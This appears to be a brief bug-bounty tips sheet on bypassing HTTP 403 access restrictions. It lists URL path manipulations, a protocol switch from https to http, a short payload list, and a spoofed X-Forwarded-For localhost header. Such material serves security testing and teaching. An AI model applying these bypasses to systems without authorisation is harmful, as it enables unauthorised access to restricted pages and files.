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403 Bypass

I am sharing all this tips and techniques from my own personal experience there no official references for that

Directory Based

If you see directory with no slash at end then do these acts there

site.com/secret => 403
site.com/secret/* => 200
site.com/secret/./ => 200

File Base

If you see file without any slash at end then do these acts there

site.com/secret.txt => 403
site.com/secret.txt/ => 200
site.com/%2f/secret.txt/ => 200

Protocol Base

Well, sound wired but check out the example for better understanding

https://site.com/secret => 403
http://site.com/secret => 200

Payloads

/
/*
/%2f/
/./
./.
/*/

Header

https://observationsinsecurity.com/2020/08/09/bypassing-403-to-get-access-to-an-admin-console-endpoints/

X-Forwarded-For: 127.0.0.1

Tools

Here is a Tool I found on twitter.

Proof Of Concept

Well Always look for some references or proof of concept if someone sharing any tips so you may confirm you are not wasting your time at all. I have some poc video on my YouTube channel for 403 and other Improper access control bugs with those methods. You can check them

YouTube: Mehedi Hasan Remon

Author:@remonsec @KathanP19